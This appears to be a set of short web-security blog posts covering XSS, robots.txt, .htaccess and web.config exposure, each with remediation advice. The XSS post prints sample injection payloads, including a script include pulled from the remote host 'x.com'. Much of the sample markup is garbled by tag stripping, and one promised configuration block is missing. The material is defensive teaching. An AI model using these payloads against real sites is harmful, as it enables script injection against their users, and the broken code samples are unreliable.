If you are looking for the ultimate protection from SQL Injection, I highly recommend the use of parameterized queries (for more information on PQ's, please seek out one of many articles around the net (and/or Microsoft)).

+++++EOF+++++

Vulnerability Series: XSS

XSS is really quite simple. XSS occurs when dynamically created pages reflect back things such as input submitted by the user (forms, bbs, etc) without the proper validation occuring in the application. Meaning, if you have a search field and you type in "Apple"....the application takes the data, does not properly validate that data and echos the phrase "Apple" back out to you in the page. The problem allows for users to be able to submit data such as scripting languages (HTML, JavaScript and VBScript) into the application and that code is then executed by the browser. In addition to the improper validation of the data, the outbound response data to the browser is not properly HTMLEncoded.

How to apply this attack

Now ... it would be reinventing the wheel to try and place all types of sample code on the page so i'll direct you to a nice list for your review. If you are interested in seeing a bit of code, I recommend the XSS Cheat Sheet.... a very nice list from RSnake. Typically, these attacks come in the following locations:

  • Search forms
  • Bulletin Boards
  • Error Messages
  • Forms

With XSS, we can look at a couple of simple attack scenarios that might be utilized against a site.

  • Simple Script Tag

    What I refer to as a simple script tag is basically the "hello world" of XSS. In some component of the application, perhaps a form field input area, a parameter in the URL, an error code in the URL (for example, mypage.aspx?error=xss_script_here) may all be points for injection. A sample would be:

    /index.aspx?error=<>alert("XSS")< /script>

    Additionally, we might also discuss what is referred to as Appended URL XSS which would look like:

    index.aspx?a=1&b=<>alert("XSS")< /script>

  • Remote Script Call

    Calling a remote script is also a nice option with XSS. The opportunity to create your own script and place it on some server and then perform the injection is also very effective. If we were to have created a script and placed it on server "x.com", we might inject the following:

    < src="x.com/xss.js">

  • JS Events

    JS Events are often overlooked when discussing points of attack for XSS, but do provide a very nice injection point. Javascript provides numerous events for the language ... one might include:

    < onload="“javascript:malicious">

Keep in mind that there are numerous other attack vectors ... I am only listing a couple here.

Remediation

Fortunately, (as with most things in this world) the fix is not terribly difficult. There are two things that we need to be concerned about:

  • Input Validation
  • Outbound Encoding

So let's tackle the Input Validation issue first. With any type of input validation discussion, we can quickly get off on the subject of "White vs. Black" lists and here is my thought -- USE WHITE LISTS. If you're not familiar with White vs. Black lists, the answer is simple. White lists tell your application what you will accept and Black lists tell your application what to look for and to not accept. If I were going to have a party at my house and wanted to invite my friends over -- I would much rather give the door-man a list of my friends and who could come in rather than handing him a list of everyone else in the world (minus my friends) to look for and deny. Not terribly difficult.

So once we have figured out what data we are going to let in to my application, we want to make sure that we HTMLencode data before it is returned to the user. Now....there are a number of ways to use HTMLEncode (each language handles this in their own way; however, here I will show you a nice, clean example in C#.

public string HtmlEncode(
string s
);

+++++EOF+++++

XSS Framework?

So you don't consider yourself to be XSS savy, but you would really like to do some free testing? Well look no farther...you just might have a solution. Introducing the XSSDB by GNUCitizen.

The XSSDB (i'm assuming) is heading in the direction as the Metasploit Project, however, soley based on Cross-Site Scripting checks.

A couple of the nice[r] features (IMHO) of the database:

  • Ability to perform both GET and POST-based XSS
  • Ability to add or submit your own vulnerability checks to the DB.

So how could this be improved? Personally, while I do have several methods of testing for XSS, I would find it invaluable to have an offline solution where I could test non-internet connected applications. GNU? Perhaps some type of offline solution with a update capability?

The solution does take a bit of getting used to (for example, if you aren't terribly familiar with how GET, POST and Parameters work in web applications), but overall .... a very nice solution.

+++++EOF+++++

etiolated.org

While not earth-shattering, this appears to be an interesting site.

xxxxxhttp://etiolated.org/

Etiolated provides a bit of information regarding sites which have been hit (historical and recent views) with a nice search feature. Check it out!

+++++EOF+++++

atrysk is going wireless!

For those of you who follow the web application security section of the site, we are happy to announce that we are kicking off our wireless section. The wireless section will cover a range of topics including, but not limited to:

  • Wireless [in]Security (or lack thereof)
  • OpenSource Tools
  • Remediation Techniques

I'm quite sure there is more to come so stay tuned!

 

+++++EOF+++++

Vulnerability Series: Robots.txt

The robots.txt file exists on the webserver to provide instructions to automated crawling engines (such as Yahoo! or Google) to NOT index specified areas of the application.

A standard robots.txt file would looks something like....

xxxhttp://www.google.com/robots.txt

As you can see from the above sample page, the robots file provides an additional point of information for the mapping around your web application.

How to apply this attack

As stated above, the robots file is placed in the root of the web application so no standard access controls are placed around this file. Simply pointing your browser to http://insert_target_host/robots.txt will suffice.

Remediation

The remediation for this file is to remove the robots file if it's really not needed. The goal behind listing this in our vulnerability series is (and please don't insert laugh) many administrators will actually attempt to use this file for access controls around their applications. The robots file is simply a very polite request to the automated web crawlers to not index specific components of the web application....nothing more.

So ....if you really don't need to have the file exist on your web server, please remove it. If you require additional steps to protect the listed directories in your application, it is necessary to code in additional access and authorization controls.

+++++EOF+++++

atrysk owasp presentation

Thank you for attending the OWASP-Houston presentation! In our session we covered:

  • State of Application Security
  • Securing Web Apps? Common Misconceptions...
  • Web Application Vulnerabilities
  • SQL Injection (Verbose and Blind)
  • Session Hijacking
  • Web Services
  • Cross Site Scripting
  • AJAX and Firebug
  • Recommendations

If you would like to download a copy of the presentation, you may download the pdf from:

xxxOWASP Presentation

If you have any questions, please feel free to drop us an email.

+++++EOF+++++

Vulnerability Series: [.]htaccess Disclosure

A file exists within the apache server environment which controls access to sensitive information including user information, directories and/or files. Generally, this issue occurs with the permissions being set to the httpd.conf file incorrectly. With the apache server, they provide a way to make configuration changes on a per-directory basis.

How to apply this attack

The application of attack will allow for directory access. Simply providing the direct link in the URL to access an otherwise unprotected directory. Meaning, in the URL bar, you may access:

xxxhttp://www.atrysk.com/protected_directory/

which should be assigned access controls.

Remediation

The fix for the dot_htaccess file is relatively simple. First, it is important for developers to assign correct permissions to the directory structure, application settings and all files within the web application. The second portion of the fix for dot_htaccess is to edit the httpd.conf file adding the following lines to the configuration.

For additional information on how to configure the apache server environment, I recommend you refer to the Apache htaccess Information site.

+++++EOF+++++

Vulnerability Series: web[.]config

The web[.]config file is an XML-based file found in ASP.NET applications which may contain numerous items of sensitive information. The file will commonly contain items such as database information, sensitive file names and information about other resources on the application.

A sample file might appear as:

<>
xxx<>
xxx xxx < name="appSettings" color="#ffffff">xxx xxx 
type="System.Configuration.NameValueFileSectionHandler,
xxx xxx System, Version=1.0.3300.0,
xxx xxx Culture=neutral, PublicKeyToken=b77a5c561934e089" / >
xxx< / configSections >
xxx<>
xxx xxx < key="dsn" value="host;uid=UserName;pwd=;">
xxx xxx < key="msmqserver" value="server\myqueue">
xxx< / appSettings >
xxx< cookieless="true" timeout="10">
< / configuration >

How to apply this attack

The web[.]config file will be read from the file system. It is a very common mistake to leave backup or old copies of the web[.]config file on the web server. For example:

  • web.config.old
  • web.config.back
  • web.config.$date

Remediation

Protect this file and the information in this file with your life. Period. Please make sure that all permissions are correctly set on the file system as well as, in IIS.

For additional information on how to configure the environment, I recommend you refer to theMicrosoft site for proper settings.

+++++EOF+++++